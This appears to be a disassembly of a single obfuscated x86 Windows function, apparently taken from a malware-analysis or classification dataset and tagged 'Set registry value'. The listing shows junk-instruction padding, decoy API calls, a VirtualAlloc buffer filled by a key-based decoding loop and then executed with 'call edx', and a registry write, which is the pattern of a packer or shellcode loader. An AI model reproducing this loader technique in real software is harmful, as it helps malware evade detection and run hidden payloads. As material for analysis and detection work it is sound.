Function at 0x497400
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
mov dword [ebp - 0x28c], ebp
test dword [ebp - 0x28c], 0xea9f
jae 0x497461
mov dword [ebp - 0x84], esp
mov edx, 0xda2b
cld
mov eax, 0x9587
mov ecx, dword [ebp - 0x84]
cld
mov edx, 0xcaff
mov dword [ebp - 0x118], edx
cld
and ecx, 0
mov dword [ebp - 0x2fc], esp
xor ecx, dword [ebp - 0x2fc]
mov dword [ebp - 0xf0], 0x978
and edx, 0
adc dword [ebp - 0xf0], edx
push ebx
mov eax, 0xcf44
jmp 0x49748b
push esi
mov ebx, 0xacac
test ebx, 0x1d97
ja 0x4974c9
mov ecx, 0x1f47
and dword [ebp - 0x27c], 0
not ecx
and ebx, 0
mov eax, 0x7bec
adc ebx, eax
mov eax, dword [ebp - 0x28c]
cld
sub eax, eax
not eax
mov edx, 0x12be
and dword [ebp - 0x2f0], 0
inc edx
push edi
and eax, 0
mov ebx, 0x6310
inc eax
and dword [ebp - 0x19c], 0
mov ebx, 0xdd4c
inc dword [ebp - 0x19c]
mov esi, dword [ebp - 0x84]
mov edx, 0x6b23
cld
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_AddConsoleAliasA]
sub ecx, ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_AddConsoleAliasA]
sub edx, edx
push edx
push edx
push edx
call dword [sym.imp.KERNEL32.DLL_AddConsoleAliasW]
sub ecx, ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_AddConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_AddConsoleAliasW]
call dword [sym.imp.KERNEL32.DLL_AreFileApisANSI]
call dword [sym.imp.KERNEL32.DLL_AreFileApisANSI]
call dword [sym.imp.KERNEL32.DLL_AreFileApisANSI]
sub edx, edx
call dword [sym.imp.KERNEL32.DLL_AreFileApisANSI]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_AssignProcessToJobObject]
sub ecx, ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_AssignProcessToJobObject]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_AssignProcessToJobObject]
sub eax, eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_AssignProcessToJobObject]
sub ecx, ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceA]
sub ecx, ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceA]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceA]
sub ecx, ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceA]
mov dword [ebp - 0x2a8], 0
mov esi, esp
cld
mov esi, 0x4116
mov ecx, 0xdb3c
dec esi
sub eax, eax
mov ecx, 0x4809
cld
and dword [ebp - 0x1d0], 0
dec dword [ebp - 0x1d0]
mov esi, 0xddc2
mov dword [ebp - 0x74], 0x3b3c
jmp 0x4975fd
sub eax, eax
mov dword [ebp - 0x2ec], 0
sbb eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x28], 0xb3eb
mov edx, 0x16eb
not dword [ebp - 0x28]
mov esi, ebp
mov dword [ebp - 0x26c], esi
and esi, dword [ebp - 0x26c]
mov dword [ebp - 0x90], 0
cld
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceW]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceW]
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_BeginUpdateResourceW]
and esi, 0
mov dword [ebp - 0xd8], ebp
cmp esi, dword [ebp - 0xd8]
jl 0x497678
mov edi, esi
dec dword [ebp - 0x2ec]
mov esi, edi
mov ebx, edi
dec esi
sub ecx, ecx
sub eax, eax
dec ecx
push 0
and esi, 0
mov dword [ebp - 0x2dc], 0xd286
inc esi
and eax, 0
cld
and edx, 0
and dword [ebp - 0x78], 0
cld
push 0
mov edi, edi
mov ebx, dword [ebp - 0x2f0]
xor edi, ebx
push 0
and ecx, 0
and dword [ebp - 0x210], 0
test dword [ebp - 0x210], ecx
jae 0x4976e2
mov eax, 0x387d
cld
inc dword [ebp - 0x27c]
mov dword [ebp - 0x178], 0
cld
mov esi, 0x50c8
mov edx, edx
dec esi
mov esi, 0xde0b
cld
sub eax, eax
mov edx, dword [ebp - 0x28c]
cld
push 0
sub edi, edi
test edi, 0x1e23
ja 0x497713
mov edi, esp
and dword [ebp - 0x2b0], 0
inc edi
sub edi, edi
inc dword [ebp - 0x2dc]
mov dword [ebp - 0x148], 0xfe9d
cld
mov esi, dword [ebp - 0x28c]
not esi
push 0
and dword [ebp - 0x40], 0
ja 0x497740
and edx, 0
mov dword [ebp - 0x6c], 0x5d82
adc edx, dword [ebp - 0x6c]
mov eax, 0xa22a
and dword [ebp - 0x268], 0
or eax, dword [ebp - 0x268]
not dword [ebp - 0x2a8]
call dword [sym.imp.advapi32.dll_TraceEventInstance]
push dword [esp - 0x1d]
mov dword [ebp - 0x290], 0
cmp dword [ebp - 0x290], 0xbbdb
je 0x49778a
and eax, 0
sub ebx, ebx
sbb eax, ebx
mov edx, ebp
and ebx, 0
or edx, ebx
mov dword [ebp - 0x220], esp
mov ecx, 0x2634
and dword [ebp - 0x220], ecx
mov ebx, 0xa86e
or ebx, 0x68d0
pop dword [ebp - 0x110]
mov edi, esp
cmp edi, 0x94dc
ja 0x4977e3
mov dword [ebp - 0x22c], esp
and esi, 0
adc dword [ebp - 0x22c], esi
sub edi, edi
mov ecx, edx
cld
mov eax, 0xf8ee
and dword [ebp - 0x20], 0
and eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x26c]
mov dword [ebp - 0x1f0], esp
sbb ebx, dword [ebp - 0x1f0]
mov ebx, 0x8d22
cld
mov ecx, 0xe752
mov dword [ebp - 0x24], ecx
cld
sub ebx, ebx
sbb dword [ebp - 0x19c], ebx
and dword [ebp - 0x110], 0xff
mov edx, 0x2bf8
mov dword [ebp - 0xa8], ecx
jmp 0x497824
mov eax, edi
and dword [ebp - 0x270], 0
test dword [ebp - 0x270], eax
ja 0x49789e
mov dword [ebp - 0x154], esp
and esi, 0
or dword [ebp - 0x154], esi
and edi, 0
mov dword [ebp - 0x180], 0xa1b
dec edi
mov dword [ebp - 0x100], 0x33c5
mov edx, 0x164b
cld
mov dword [ebp - 0x94], 0
inc dword [ebp - 0x94]
and dword [ebp - 0x1e0], 0
mov ecx, dword [ebp - 0x28]
dec dword [ebp - 0x1e0]
mov esi, 0x65ab
xor esi, 0xe4d6
mov ebx, 0x9d27
mov dword [ebp - 0x114], ebp
or ebx, dword [ebp - 0x114]
cmp dword [ebp - 0x110], 0xff
jne 0x497f73
inc dword [ebp - 0x40]
mov dword [ebp - 0x1c], ebp
mov edx, ebp
xor dword [ebp - 0x1c], edx
cmp dword [ebp - 0x110], 0xff
je 0x497904
mov edi, 0xb0fb
mov edx, 0x1cdb
jmp 0x4978ef
cli
mov dword [ebp - 0x128], 0
cld
and ebx, 0
dec dword [ebp - 0x28c]
and esi, 0
mov dword [ebp - 0x48], 0
cmp esi, dword [ebp - 0x48]
jl 0x497964
mov dword [ebp - 0xe8], 0x6d3e
sub esi, esi
cld
mov dword [ebp - 0xd0], 0x7691
xor dword [ebp - 0xd0], 0x2f71
sub ecx, ecx
sbb ecx, 0x72e9
mov edi, 0x605d
sub edx, edx
cld
mov eax, 0xb514
mov ecx, 0x9859
not eax
mov ebx, 0xaa4d
mov dword [ebp - 0x274], edx
dec ebx
mov ecx, 0x3ed6
and ecx, dword [ebp - 0x64]
push pe_nt_image_headers32
and edx, 0
mov esi, 0x1370
test edx, esi
jae 0x49799a
and dword [ebp - 0x2d8], 0
cld
and edx, 0
cld
mov edi, 0x2b9
sub ebx, ebx
dec edi
and esi, 0
xor dword [ebp - 0x1d4], esi
mov dword [ebp - 0x8c], 0xe8cb
cld
push 0x1000
mov ebx, 0xef5f
mov ecx, 0xb98f
jmp 0x4979d9
push 0x10c0f
mov eax, esi
jmp 0x497a14
push 0
mov eax, ecx
mov dword [ebp - 0x260], 0
jg 0x497a69
and edx, 0
mov ebx, 0xc22f
sub edx, ebx
sub esi, esi
cld
mov esi, 0xdd7f
xor esi, 0xfbff
mov ebx, 0x9db4
and dword [ebp - 0x18], 0
not ebx
mov dword [ebp - 0x1ac], 0
inc dword [ebp - 0x1ac]
and edx, 0
sub eax, eax
not edx
mov ebx, 0xcc5f
mov esi, 0xb338
dec ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0xb8], eax
mov esi, dword [ebp - 0x22c]
mov dword [ebp - 0x2e0], eax
or esi, dword [ebp - 0x2e0]
mov dword [ebp - 0x298], 0
mov ebx, 0x1af
mov dword [ebp - 0x58], esi
cmp ebx, dword [ebp - 0x58]
jae 0x497aee
mov dword [ebp - 0x1c0], ebp
mov eax, 0xfb7d
sbb dword [ebp - 0x1c0], eax
mov edi, esp
cld
cld
mov dword [ebp - 0x3c], 0
mov ecx, 0xd6fd
dec dword [ebp - 0x3c]
mov esi, 0xdce7
sub edi, edi
cld
mov esi, dword [ebp - 0x78]
mov eax, 0x6a4f
cld
mov esi, 0xa8a4
and dword [ebp - 0x218], 0
or esi, dword [ebp - 0x218]
and ecx, 0
inc dword [ebp - 0x19c]
mov dword [ebp - 0x1a0], 0x3af616c8
mov eax, 0x28a5
and edx, 0
cmp eax, edx
jb 0x497b50
mov edx, 0xa504
cld
and dword [ebp - 0x1bc], 0
mov ecx, 0x70c1
and dword [ebp - 0x1bc], ecx
mov dword [ebp - 0x174], ebp
mov esi, 0x9836
inc dword [ebp - 0x174]
mov edi, dword [ebp - 0x20]
mov dword [ebp - 0xec], 0
dec edi
mov esi, 0x750
dec esi
mov dword [ebp - 0x14], ebp
and edx, 0
not dword [ebp - 0x14]
mov ebx, 0x6cd1
cld
mov dword [ebp - 0x1a4], 0x3d1c474c
mov dword [ebp - 0x224], 0
mov ecx, 0x5f16
or dword [ebp - 0x224], ecx
mov dword [ebp - 0x98], 0x4401cd
mov ecx, 0xfafa
mov edx, 0x8d1b
jmp 0x497bba
mov ebx, dword [ebp - 0x98]
and dword [ebp - 0x5c], 0
cld
add ebx, dword [ebp - 0x298]
and ecx, 0
mov esi, 0x37c8
inc ecx
mov edx, 0x57f6
inc edx
mov dword [ebp - 0x17c], 0xef0a
not dword [ebp - 0x17c]
mov ebx, dword [ebx]
sub esi, esi
jbe 0x497c0f
sub ecx, ecx
adc dword [ebp - 0x274], ecx
and edx, 0
mov dword [ebp - 0x2a0], 0
not edx
sub eax, eax
mov esi, edi
cld
mov esi, esp
cld
add ebx, dword [ebp - 0x1a0]
mov eax, 0xbd07
jmp 0x497c53
mov edi, dword [ebp - 0xb8]
and dword [ebp - 0x208], 0
and esi, 0
jmp 0x497cc0
add edi, dword [ebp - 0x298]
mov dword [ebp - 0x2bc], edi
inc dword [ebp - 0x2bc]
mov dword [ebp - 0xfc], 0
sub ecx, ecx
adc dword [ebp - 0xfc], ecx
cld
mov dword [edi], ebx
sub ecx, ecx
test ecx, 0xe7f5
je 0x497d49
mov dword [ebp - 0x2c8], edi
mov ecx, 0xfe40
adc dword [ebp - 0x2c8], ecx
and ecx, 0
mov edx, eax
inc ecx
mov esi, 0x5a00
mov dword [ebp - 0x144], 0x4beb
cld
and dword [ebp - 0x214], 0
mov eax, dword [ebp - 0x94]
cld
mov eax, ebp
mov ecx, 0xca48
dec eax
mov ecx, 0x3e82
mov dword [ebp - 0xf8], esi
adc ecx, dword [ebp - 0xf8]
and esi, 0
inc esi
inc dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x1a4]
mov edi, 0x4392
inc edi
add dword [ebp - 0x1a0], ecx
sub edi, edi
mov ebx, eax
xor edi, ebx
mov ecx, 0x1e0e
jne 0x497dc1
mov edx, 0xa71
sub edx, 0xa0a3
and dword [ebp - 0x194], 0
mov edi, 0xfcf8
add dword [ebp - 0x194], edi
and dword [ebp - 0xb0], 0
mov edx, dword [ebp - 0x214]
not dword [ebp - 0xb0]
mov edx, 0x5027
mov dword [ebp - 0x2f8], 0xf6fe
not edx
and ebx, 0
cld
mov dword [ebp - 0xe4], 0x1fb4
or dword [ebp - 0xe4], 0x93a
cmp dword [ebp - 0x110], 0xff
jne 0x497de6
add dword [ebp - 0x1a4], 0x89f44943
mov ebx, ecx
not ebx
inc dword [ebp - 0x68]
mov ebx, ebp
cld
mov ecx, dword [ebp - 0x18]
not ecx
add dword [ebp - 0x298], 4
mov dword [ebp - 0x29c], edx
dec dword [ebp - 0x29c]
and dword [ebp - 0x228], 0
mov edx, 0x257d
sub dword [ebp - 0x228], edx
mov edi, dword [ebp - 0x178]
or edi, dword [ebp - 0x2a8]
cmp dword [ebp - 0x298], 0x1820
jne 0x497bba
mov dword [ebp - 0x250], esp
and esi, 0
not dword [ebp - 0x250]
mov edx, 0x1aa7
cld
mov edx, dword [ebp - 0xb8]
mov ebx, 0xb9fc
jg 0x497e80
mov eax, 0x6b3d
adc eax, dword [ebp - 0x2a0]
mov eax, 0xa307
mov dword [ebp - 0x130], 0xb637
sbb eax, dword [ebp - 0x130]
and esi, 0
sub dword [ebp - 0x184], esi
mov eax, esp
cld
and edi, 0
mov ebx, dword [ebp - 0xe8]
sub edi, ebx
add edx, 0xb5e
mov eax, 0x60
or eax, 0xae1
sub ecx, ecx
cld
mov edi, dword [ebp - 0x84]
mov dword [ebp - 0x1cc], 0
cld
call edx
mov esi, dword [ebp - 0x2d8]
cmp dword [ebp - 0xa8], esi
jne 0x497ef8
mov ecx, dword [ebp - 0x2b0]
cld
mov dword [ebp - 0x158], esp
and eax, 0
cld
not dword [ebp - 0x174]
mov eax, eax
mov ebx, dword [ebp - 0x29c]
cld
mov esi, ecx
not esi
mov edi, dword [ebp - 0x29c]
adc edi, 0xbd53
and eax, 0
cld
mov eax, dword [ebp - 0x3c]
and dword [ebp - 0x238], 0
add eax, dword [ebp - 0x238]
mov esi, 0x6834
mov dword [ebp - 0x2d0], 0
cmp esi, dword [ebp - 0x2d0]
ja 0x497f3e
cld
and dword [ebp - 0x280], 0
mov esi, 0xc26f
adc dword [ebp - 0x280], esi
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x1c4], esi
inc eax
sub edx, edx
sub esi, esi
cld
mov esi, dword [ebp - 0x1cc]
and edx, 0
dec esi
sub ecx, ecx
push ecx
call dword [sym.imp.advapi32.dll_GetCurrentHwProfileA]
sub eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.DLL_GetDateFormatW]
call dword [sym.imp.advapi32.dll_RevertToSelf]
push 0
call dword [sym.imp.advapi32.dll_GetSidLengthRequired]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.advapi32.dll_RegSetValueW]
mov dword [ebp - 0x168], 0x533b
and eax, 0
and dword [ebp - 0x168], eax
mov ecx, 0x9c14
dec ecx
and ebx, 0
sub dword [ebp - 0x2bc], ebx
leave
ret 0xc